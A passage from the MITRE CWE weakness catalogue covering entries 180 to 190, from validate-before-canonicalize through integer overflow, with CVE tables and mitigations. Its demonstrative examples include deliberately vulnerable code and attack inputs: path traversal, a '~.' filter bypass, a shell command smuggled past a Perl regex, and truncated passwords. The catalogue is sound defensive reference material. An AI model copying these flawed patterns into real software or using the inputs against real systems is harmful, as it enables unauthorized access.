| CVE-2002-0802 | Database consumes an extra character when processing a character that cannot be converted, which could remove an escape character from the query and make the application subject to SQL injection attacks. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0802 |
| CVE-2000-0191 | Overlaps "fakechild/./realchild" https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0191 |
| CVE-2004-2363 | Product checks URI for "<" and other literal characters, but does it before hex decoding the URI, so "%3E" and other sequences are allowed. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-2363 |
| CVE-2002-0934 | Directory traversal vulnerability allows remote attackers to read or modify arbitrary files via invalid characters between two . (dot) characters, which are filtered and result in a ".." sequence. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0934 |
| CVE-2003-0282 | Directory traversal vulnerability allows attackers to overwrite arbitrary files via invalid characters between two . (dot) characters, which are filtered and result in a ".." sequence. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0282 |

CWE-180: Incorrect Behavior Order: Validate Before Canonicalize

Weakness ID : 180

Status: Draft

Structure : Simple

Abstraction : Variant

Description

The software validates input before it is canonicalized, which prevents the software from detecting data that becomes invalid after the canonicalization step.

Extended Description

This can be used by an attacker to bypass the validation and launch attacks that expose weaknesses that would otherwise be prevented, such as injection.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |
|---------|--|-----|--|------|
| ChildOf |  | 179 | Incorrect Behavior Order: Early Validation | 421 |

Applicable Platforms

Language : Language-Independent (*Prevalence = Undetermined*)

Common Consequences

| Scope | Impact | Likelihood |
|----------------|-----------------------------|------------|
| Access Control | Bypass Protection Mechanism | |

Potential Mitigations

Phase: Implementation

Strategy = Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.

Demonstrative Examples

Example 1:

The following code attempts to validate a given input path by checking it against an allowlist and then return the canonical path. In this specific case, the path is considered valid if it starts with the string "/safe_dir/".

Example Language: Java

(bad)

```
String path = getInputPath();
if (path.startsWith("/safe_dir/"))
{
    File f = new File(path);
    return f.getCanonicalPath();
}
```

}

The problem with the above code is that the validation step occurs before canonicalization occurs. An attacker could provide an input path of `"/safe_dir/.."` that would pass the validation step. However, the canonicalization process sees the double dot as a traversal to the parent directory and hence when canonized the path would become just `"/"`.

To avoid this problem, validation should occur after canonicalization takes place. In this case canonicalization occurs during the initialization of the File object. The code below fixes the issue.

Example Language: Java

(good)

```
String path = getInputPath();
File f = new File(path);
if (f.getCanonicalPath().startsWith("/safe_dir/"))
{
    return f.getCanonicalPath();
}
```

Observed Examples

| Reference | Description |
|----------------------|---|
| CVE-2002-0433 | Product allows remote attackers to view restricted files via an HTTP request containing a "*" (wildcard or asterisk) character. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0433 |
| CVE-2003-0332 | Product modifies the first two letters of a filename extension after performing a security check, which allows remote attackers to bypass authentication via a filename with a .ats extension instead of a .hts extension. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0332 |
| CVE-2002-0802 | Database consumes an extra character when processing a character that cannot be converted, which could remove an escape character from the query and make the application subject to SQL injection attacks. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0802 |
| CVE-2000-0191 | Overlaps "fakechild/./realchild" https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0191 |
| CVE-2004-2363 | Product checks URI for "<" and other literal characters, but does it before hex decoding the URI, so "%3E" and other sequences are allowed. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-2363 |

CWE-181: Incorrect Behavior Order: Validate Before Filter

Weakness ID : 181

Status: Draft

Structure : Simple

Abstraction : Variant

Description

The software validates data before it has been filtered, which prevents the software from detecting data that becomes invalid after the filtering step.

Extended Description

This can be used by an attacker to bypass the validation and launch attacks that expose weaknesses that would otherwise be prevented, such as injection.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |
|---------|---|-----|--|------|
| ChildOf |  | 179 | Incorrect Behavior Order: Early Validation | 421 |

Applicable Platforms

Language : Language-Independent (*Prevalence = Undetermined*)

Alternate Terms

Validate-before-cleanse :

Common Consequences

| Scope | Impact | Likelihood |
|----------------|-----------------------------|------------|
| Access Control | Bypass Protection Mechanism | |

Potential Mitigations

Phase: Implementation

Phase: Architecture and Design

Inputs should be decoded and canonicalized to the application's current internal representation before being filtered.

Demonstrative Examples

Example 1:

This script creates a subdirectory within a user directory and sets the user as the owner.

Example Language: PHP

(bad)

```
function createDir($userName,$dirName){
    $userDir = '/users/'. $userName;
    if(strpos($dirName,'..') !== false){
        echo 'Directory name contains invalid sequence';
        return;
    }
    //filter out '~' because other scripts identify user directories by this prefix
    $dirName = str_replace('~','',$dirName);
    $newDir = $userDir . $dirName;
    mkdir($newDir, 0700);
    chown($newDir,$userName);
}
```

While the script attempts to screen for '..' sequences, an attacker can submit a directory path including "~.", which will then become ".." after the filtering step. This allows a Path Traversal (CWE-21) attack to occur.

Observed Examples

| Reference | Description |
|----------------------|---|
| CVE-2002-0934 | Directory traversal vulnerability allows remote attackers to read or modify arbitrary files via invalid characters between two . (dot) characters, which are filtered and result in a ".." sequence. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0934 |
| CVE-2003-0282 | Directory traversal vulnerability allows attackers to overwrite arbitrary files via invalid characters between two . (dot) characters, which are filtered and result in a ".." sequence. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0282 |

CWE-182: Collapse of Data into Unsafe Value

Weakness ID : 182

Status: Draft

Structure : Simple

Abstraction : Base

Description

The software filters data in a way that causes it to be reduced or "collapsed" into an unsafe value that violates an expected security property.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Software Development" (CWE-699)

| Nature | Type | ID | Name | Page |
|----------|---|----|------------------------|------|
| MemberOf |  | 19 | Data Processing Errors | 2026 |

Applicable Platforms

Language : Language-Independent (*Prevalence = Undetermined*)

Common Consequences

| Scope | Impact | Likelihood |
|----------------|-----------------------------|------------|
| Access Control | Bypass Protection Mechanism | |

Potential Mitigations

Phase: Architecture and Design

Strategy = Input Validation

Avoid making decisions based on names of resources (e.g. files) if those resources can have alternate names.

Phase: Implementation

Strategy = Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Phase: Implementation

Strategy = Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.

Canonicalize the name to match that of the file system's representation of the name. This can sometimes be achieved with an available API (e.g. in Win32 the GetFullPathName function).

Observed Examples

| Reference | Description |
|----------------------|---|
| CVE-2004-0815 | <code>"/.////"</code> in pathname collapses to absolute path. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0815 |
| CVE-2005-3123 | <code>"/./././././././"</code> is collapsed into <code>"/././"</code> after <code>"/."</code> and <code>"//"</code> sequences are removed. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3123 |
| CVE-2002-0325 | <code>".../.../"</code> collapsed to <code>"..."</code> due to removal of <code>"/."</code> in web server. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0325 |
| CVE-2002-0784 | chain: HTTP server protects against <code>"/."</code> but allows <code>"/."</code> variants such as <code>"/./././././."</code> . If the server removes <code>"/."</code> sequences, the result would collapse into an unsafe value <code>"/././."</code> (CWE-182). https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0784 |
| CVE-2005-2169 | MFV. Regular expression intended to protect against directory traversal reduces <code>".../.../"</code> to <code>"/."</code> . https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2169 |
| CVE-2001-1157 | XSS protection mechanism strips a <code><script></code> sequence that is nested in another <code><script></code> sequence. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-1157 |

CWE-183: Permissive List of Allowed Inputs

Weakness ID : 183

Status: Draft

Structure : Simple

Abstraction : Base

Description

The product implements a protection mechanism that relies on a list of inputs (or properties of inputs) that are explicitly allowed by policy because the inputs are assumed to be safe, but the list is too permissive - that is, it allows an input that is unsafe, leading to resultant weaknesses.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

CWE-184: Incomplete List of Disallowed Inputs

Weakness ID : 184

Status: Draft

Structure : Simple

Abstraction : Base

Description

The product implements a protection mechanism that relies on a list of inputs (or properties of inputs) that are not allowed by policy or otherwise require other action to neutralize before additional processing takes place, but the list is incomplete, leading to resultant weaknesses.

Extended Description

Developers often try to protect their products against malicious input by performing tests against inputs that are known to be bad, such as special characters that can invoke new commands. However, such lists often only account for the most well-known bad inputs. Attackers may be able to find other malicious inputs that were not expected by the developer, allowing them to bypass the intended protection mechanism.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |
|------------|------|------|---|------|
| ChildOf | | 1023 | Incomplete Comparison with Missing Factors | 1687 |
| ChildOf | | 693 | Protection Mechanism Failure | 1384 |

| Nature | Type | ID | Name | Page |
|----------|------|------|------------------------|------|
| MemberOf | | 1215 | Data Validation Issues | 2194 |

Weakness Ordinalities

Primary :

Applicable Platforms

Language : Language-Independent (*Prevalence = Undetermined*)

Alternate Terms

Denylist / Deny List : This is used by CWE and CAPEC instead of other commonly-used terms. Its counterpart is allowlist.

Blocklist / Block List : This is often used by security tools such as firewalls, email or web gateways, proxies, etc.

Blacklist / Black List : This term is frequently used, but usage has been declining as organizations have started to adopt other terms.

Common Consequences

| Scope | Impact | Likelihood |
|----------------|-----------------------------|------------|
| Access Control | Bypass Protection Mechanism | |

Detection Methods

Black Box

Exploitation of a vulnerability with commonly-used manipulations might fail, but minor variations might succeed.

Potential Mitigations

Phase: Implementation

Strategy = Input Validation

Do not rely exclusively on detecting disallowed inputs. There are too many variants to encode a character, especially when different environments are used, so there is a high likelihood of missing some variants. Only use detection of disallowed inputs as a mechanism for detecting suspicious activity. Ensure that you are using other protection mechanisms that only identify "good" input - such as lists of allowed inputs - and ensure that you are properly encoding your outputs.

Demonstrative Examples

Example 1:

The following code attempts to stop XSS attacks by removing all occurrences of "script" in an input string.

Example Language: Java

(bad)

```
public String removeScriptTags(String input, String mask) {  
    return input.replaceAll("script", mask);  
}
```

Because the code only checks for the lower-case "script" string, it can be easily defeated with upper-case script tags.

Observed Examples

| Reference | Description |
|----------------------|---|
| CVE-2008-2309 | product uses a denylist to identify potentially dangerous content, allowing attacker to bypass a warning https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-2309 |
| CVE-2005-2782 | PHP remote file inclusion in web application that filters "http" and "https" URLs, but not "ftp". https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2782 |
| CVE-2004-0542 | Programming language does not filter certain shell metacharacters in Windows environment. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0542 |
| CVE-2004-0595 | XSS filter doesn't filter null characters before looking for dangerous tags, which are ignored by web browsers. MIE and validate-before-cleanse. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0595 |
| CVE-2005-3287 | Web-based mail product doesn't restrict dangerous extensions such as ASPX on a web server, even though others are prohibited. |

|----------------------|---|
| | https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3287 |
| CVE-2004-2351 | Resultant XSS when only <script> and <style> are checked. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-2351 |
| CVE-2005-2959 | Privileged program does not clear sensitive environment variables that are used by bash. Overlaps multiple interpretation error. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2959 |
| CVE-2005-1824 | SQL injection protection scheme does not quote the "\" special character. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1824 |
| CVE-2005-2184 | Detection of risky filename extensions prevents users from automatically executing .EXE files, but .LNK is accepted, allowing resultant Windows symbolic link. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2184 |
| CVE-2007-1343 | Product uses list of protected variables, but accidentally omits one dangerous variable, allowing external modification http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-1343 |
| CVE-2007-5727 | Chain: product only removes SCRIPT tags (CWE-184), enabling XSS (CWE-79) https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-5727 |
| CVE-2006-4308 | Chain: product only checks for use of "javascript:" tag (CWE-184), allowing XSS (CWE-79) using other tags https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-4308 |
| CVE-2007-3572 | Chain: OS command injection (CWE-78) enabled by using an unexpected character that is not explicitly disallowed (CWE-184) https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-3572 |
| CVE-2002-0661 | "\" not in list of disallowed values for web server, allowing path traversal attacks when the server is run on Windows and other OSes. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0661 |

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

| Nature | Type | ID | Name | V | Page |
|----------|------|------|--|------|------|
| MemberOf | C | 990 | SFP Secondary Cluster: Tainted Input to Command | 888 | 2129 |
| MemberOf | C | 1347 | OWASP Top Ten 2021 Category A03:2021 - Injection | 1344 | 2205 |

Notes

Relationship

Multiple interpretation errors can indirectly introduce inputs that should be disallowed. For example, a list of dangerous shell metacharacters might not include a metacharacter that only has meaning in one particular shell, not all of them; or a check for XSS manipulations might ignore an unusual construct that is supported by one web browser, but not others.

CWE-185: Incorrect Regular Expression

| | |
|----------------------------|-----------------------|
| Weakness ID : 185 | Status : Draft |
| Structure : Simple | |
| Abstraction : Class | |

Description

The software specifies a regular expression in a way that causes data to be improperly matched or compared.

Extended Description

When the regular expression is used in protection mechanisms such as filtering or validation, this may allow an attacker to bypass the intended restrictions on the incoming data.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |
|------------|------|------|---|------|
| ChildOf | P | 697 | Incorrect Comparison | 1389 |
| ParentOf | B | 186 | Overly Restrictive Regular Expression | 437 |
| ParentOf | B | 625 | Permissive Regular Expression | 1272 |
| ParentOf | B | 1333 | Inefficient Regular Expression Complexity | 2003 |
| CanPrecede | B | 182 | Collapse of Data into Unsafe Value | 428 |
| CanPrecede | V | 187 | Partial String Comparison | 439 |

Applicable Platforms

Language : Language-Independent (*Prevalence = Undetermined*)

Common Consequences

| Scope | Impact | Likelihood |
|-------|---------------------------------------|------------|
| Other | Unexpected State Varies by Context | |

| Scope | Impact | Likelihood |
|----------------|---|------------|
| | <i>When the regular expression is not correctly specified, data might have a different format or type than the rest of the program expects, producing resultant weaknesses or errors.</i> | |
| Access Control | Bypass Protection Mechanism | |
| | <i>In PHP, regular expression checks can sometimes be bypassed with a null byte, leading to any number of weaknesses.</i> | |

Potential Mitigations

Phase: Architecture and Design

Strategy = Refactoring

Regular expressions can become error prone when defining a complex language even for those experienced in writing grammars. Determine if several smaller regular expressions simplify one large regular expression. Also, subject the regular expression to thorough testing techniques such as equivalence partitioning, boundary value analysis, and robustness. After testing and a reasonable confidence level is achieved, a regular expression may not be foolproof. If an exploit is allowed to slip through, then record the exploit and refactor the regular expression.

Demonstrative Examples

Example 1:

The following code takes phone numbers as input, and uses a regular expression to reject invalid phone numbers.

Example Language: Perl

(bad)

```
$phone = GetPhoneNumber();
if ($phone =~ /\d+-\d+/) {
    # looks like it only has hyphens and digits
    system("lookup-phone $phone");
}
else {
    error("malformed number!");
}
```

An attacker could provide an argument such as: "; ls -l ; echo 123-456" This would pass the check, since "123-456" is sufficient to match the "\d+-\d+" portion of the regular expression.

Observed Examples

| Reference | Description |
|----------------------|---|
| CVE-2002-2109 | Regexp isn't "anchored" to the beginning or end, which allows spoofed values that have trusted values as substrings. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-2109 |
| CVE-2005-1949 | Regexp for IP address isn't anchored at the end, allowing appending of shell metacharacters. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1949 |
| CVE-2001-1072 | Bypass access restrictions via multiple leading slash, which causes a regular expression to fail. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-1072 |
| CVE-2000-0115 | Local user DoS via invalid regular expressions. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0115 |
| CVE-2002-1527 | chain: Malformed input generates a regular expression error that leads to information exposure. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1527 |

| Reference | Description |
|----------------------|---|
| CVE-2005-1061 | Certain strings are later used in a regexp, leading to a resultant crash. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1061 |
| CVE-2005-2169 | MFV. Regular expression intended to protect against directory traversal reduces ".../.../" to "../". https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2169 |
| CVE-2005-0603 | Malformed regexp syntax leads to information exposure in error message. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-0603 |
| CVE-2005-1820 | Code injection due to improper quoting of regular expression. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1820 |
| CVE-2005-3153 | Null byte bypasses PHP regexp check. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3153 |
| CVE-2005-4155 | Null byte bypasses PHP regexp check. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-4155 |

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

| Nature | Type | ID | Name | V | Page |
|----------|------|-----|---|-----|------|
| MemberOf | V | 884 | CWE Cross-section | 884 | 2230 |
| MemberOf | C | 990 | SFP Secondary Cluster: Tainted Input to Command | 888 | 2129 |

Notes

Relationship

While there is some overlap with allowlist/denylist problems, this entry is intended to deal with incorrectly written regular expressions, regardless of their intended use. Not every regular expression is intended for use as an allowlist or denylist. In addition, allowlists and denylists can be implemented using other mechanisms besides regular expressions.

Research Gap

Regex errors are likely a primary factor in many MFVs, especially those that require multiple manipulations to exploit. However, they are rarely diagnosed at this level of detail.

CWE-186: Overly Restrictive Regular Expression

Weakness ID : 186
Structure : Simple

Status: Draft

Abstraction : Base**Description**

A regular expression is overly restrictive, which prevents dangerous values from being detected.

Extended Description

This weakness is not about regular expression complexity. Rather, it is about a regular expression that does not match all values that are intended. Consider the use of a regexp to identify acceptable values or to spot unwanted terms. An overly restrictive regexp misses some potentially security-relevant values leading to either false positives *or* false negatives, depending on how the regexp is being used within the code. Consider the expression `/[0-8]/` where the intention was `/[0-9]/`. This expression is not "complex" but the value "9" is not matched when maybe the programmer planned to check for it.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

CWE-187: Partial String Comparison

| | |
|------------------------------|----------------------------|
| Weakness ID : 187 | Status : Incomplete |
| Structure : Simple | |
| Abstraction : Variant | |

Description

The software performs a comparison that only examines a portion of a factor before determining whether there is a match, such as a substring, leading to resultant weaknesses.

Extended Description

For example, an attacker might succeed in authentication by providing a small password that matches the associated portion of the larger, correct password.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |
|-----------|---|------|--|------|
| ChildOf |  | 1023 | Incomplete Comparison with Missing Factors | 1687 |

Weakness Ordinalities

Primary :

Applicable Platforms

Language : Language-Independent (*Prevalence = Undetermined*)

Common Consequences

| Scope | Impact | Likelihood |
|----------------|-----------------------------|------------|
| Integrity | Alter Execution Logic | |
| Access Control | Bypass Protection Mechanism | |

Potential Mitigations

Phase: Testing

Thoroughly test the comparison scheme before deploying code into production. Perform positive testing as well as negative testing.

Demonstrative Examples

Example 1:

This example defines a fixed username and password. The AuthenticateUser() function is intended to accept a username and a password from an untrusted user, and check to ensure that it matches the username and password. If the username and password match, AuthenticateUser() is intended to indicate that authentication succeeded.

Example Language: C

(bad)

```
/* Ignore CWE-259 (hard-coded password) and CWE-309 (use of password system for authentication) for this example. */
char *username = "admin";
char *pass = "password";
int AuthenticateUser(char *inUser, char *inPass) {
    if (strncmp(username, inUser, strlen(inUser))) {
        logEvent("Auth failure of username using strlen of inUser");
        return(AUTH_FAIL);
    }
    if (!strncmp(pass, inPass, strlen(inPass))) {
        logEvent("Auth success of password using strlen of inUser");
        return(AUTH_SUCCESS);
    }
    else {
        logEvent("Auth fail of password using sizeof");
        return(AUTH_FAIL);
    }
}
int main (int argc, char **argv) {
    int authResult;
    if (argc < 3) {
        ExitError("Usage: Provide a username and password");
    }
    authResult = AuthenticateUser(argv[1], argv[2]);
    if (authResult == AUTH_SUCCESS) {
        DoAuthenticatedTask(argv[1]);
    }
    else {
        ExitError("Authentication failed");
    }
}
```

In AuthenticateUser(), the strncmp() call uses the string length of an attacker-provided inPass parameter in order to determine how many characters to check in the password. So, if the attacker only provides a password of length 1, the check will only examine the first byte of the application's password before determining success.

As a result, this partial comparison leads to improper authentication (CWE-287).

Any of these passwords would still cause authentication to succeed for the "admin" user:

Example Language:

(attack)

```
p
pa
pas
pass
```

This significantly reduces the search space for an attacker, making brute force attacks more feasible.

The same problem also applies to the username, so values such as "a" and "adm" will succeed for the username.

While this demonstrative example may not seem realistic, see the Observed Examples for CVE entries that effectively reflect this same weakness.

Observed Examples

| Reference | Description |
|----------------------|---|
| CVE-2014-6394 | Product does not prevent access to restricted directories due to partial string comparison with a public directory https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-6394 |
| CVE-2004-1012 | Argument parser of an IMAP server treats a partial command "body[p" as if it is "body.peek", leading to index error and out-of-bounds corruption. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-1012 |
| CVE-2004-0765 | Web browser only checks the hostname portion of a certificate when the hostname portion of the URI is not a fully qualified domain name (FQDN), which allows remote attackers to spoof trusted certificates. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0765 |
| CVE-2002-1374 | One-character password by attacker checks only against first character of real password. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1374 |
| CVE-2000-0979 | One-character password by attacker checks only against first character of real password. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0979 |

MemberOf Relationships

CWE-188: Reliance on Data/Memory Layout

| | |
|---------------------------|-----------------------|
| Weakness ID : 188 | Status : Draft |
| Structure : Simple | |
| Abstraction : Base | |

Description

The software makes invalid assumptions about how protocol data or memory is organized at a lower level, resulting in unintended program behavior.

Extended Description

When changing platforms or protocol versions, in-memory organization of data may change in unintended ways. For example, some architectures may place local variables A and B right next to each other with A on top; some may place them next to each other with B on top; and others may

add some padding to each. The padding size may vary to ensure that each variable is aligned to a proper word size.

In protocol implementations, it is common to calculate an offset relative to another field to pick out a specific piece of data. Exceptional conditions, often involving new protocol versions, may add corner cases that change the data layout in an unusual way. The result can be that an implementation accesses an unintended field in the packet, treating data of one type as data of another type.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |
|----------|------|------|---|------|
| ChildOf | [P] | 435 | Improper Interaction Between Multiple Correctly-Behaving Entities | 970 |
| ChildOf | [E] | 1105 | Insufficient Encapsulation of Machine-Dependent Functionality | 1757 |
| ParentOf | [E] | 198 | Use of Incorrect Byte Ordering | 473 |

Relevant to the view "Software Development" (CWE-699)

| Nature | Type | ID | Name | Page |
|----------|------|-----|----------------------------|------|
| MemberOf | [C] | 137 | Data Neutralization Issues | 2027 |

Applicable Platforms

Language : C (Prevalence = Undetermined)

Language : C++ (Prevalence = Undetermined)

Likelihood Of Exploit

Low

Common Consequences

| Scope | Impact | Likelihood |
|-----------------|---|------------|
| Integrity | Modify Memory | |
| Confidentiality | Read Memory | |
| | Can result in unintended modifications or exposure of sensitive memory. | |

Potential Mitigations

Phase: Implementation

Phase: Architecture and Design

In flat address space situations, never allow computing memory addresses as offsets from another memory address.

Phase: Architecture and Design

Fully specify protocol layout unambiguously, providing a structured grammar (e.g., a compilable yacc grammar).

Phase: Testing

Testing: Test that the implementation properly handles each case in the protocol grammar.

Demonstrative Examples

Example 1:

In this example function, the memory address of variable b is derived by adding 1 to the address of variable a. This derived address is then used to assign the value 0 to b.

Example Language: C

(bad)

```
void example() {
    char a;
    char b;
    *(&a + 1) = 0;
}
```

Here, b may not be one byte past a. It may be one byte in front of a. Or, they may have three bytes between them because they are aligned on 32-bit boundaries.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

CWE-190: Integer Overflow or Wraparound

| | |
|---------------------------|------------------------|
| Weakness ID : 190 | Status : Stable |
| Structure : Simple | |
| Abstraction : Base | |

Description

The software performs a calculation that can produce an integer overflow or wraparound, when the logic assumes that the resulting value will always be larger than the original value. This can introduce other weaknesses when the calculation is used for resource management or execution control.

Extended Description

An integer overflow or wraparound occurs when an integer value is incremented to a value that is too large to store in the associated representation. When this occurs, the value may wrap to become a very small or negative number. While this may be intended behavior in circumstances that rely on wrapping, it can have security consequences if the wrap is unexpected. This is especially the case if the integer overflow can be triggered using user-supplied inputs. This becomes security-critical when the result is used to control looping, make a security decision, or determine the offset or size in behaviors such as memory allocation, copying, concatenation, etc.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Likelihood Of Exploit

Medium

Common Consequences

| Scope | Impact | Likelihood |
|---|--|------------|
| Availability | DoS: Crash, Exit, or Restart DoS: Resource Consumption (CPU) DoS: Resource Consumption (Memory) DoS: Instability <i>This weakness will generally lead to undefined behavior and therefore crashes. In the case of overflows involving loop index variables, the likelihood of infinite loops is also high.</i> | |
| Integrity | Modify Memory <i>If the value in question is important to data (as opposed to flow), simple data corruption has occurred. Also, if the wrap around results in other conditions such as buffer overflows, further memory corruption may occur.</i> | |
| Confidentiality Availability Access Control | Execute Unauthorized Code or Commands Bypass Protection Mechanism <i>This weakness can sometimes trigger buffer overflows which can be used to execute arbitrary code. This is usually outside the scope of a program's implicit security policy.</i> | |

Detection Methods

Automated Static Analysis

This weakness can often be detected using automated static analysis tools. Many modern tools use data flow analysis or constraint-based techniques to minimize the number of false positives.

Effectiveness = High

Black Box

Sometimes, evidence of this weakness can be detected using dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

Effectiveness = Moderate

Without visibility into the code, black box methods may not be able to sufficiently distinguish this weakness from others, requiring follow-up manual methods to diagnose the underlying problem.

Manual Analysis

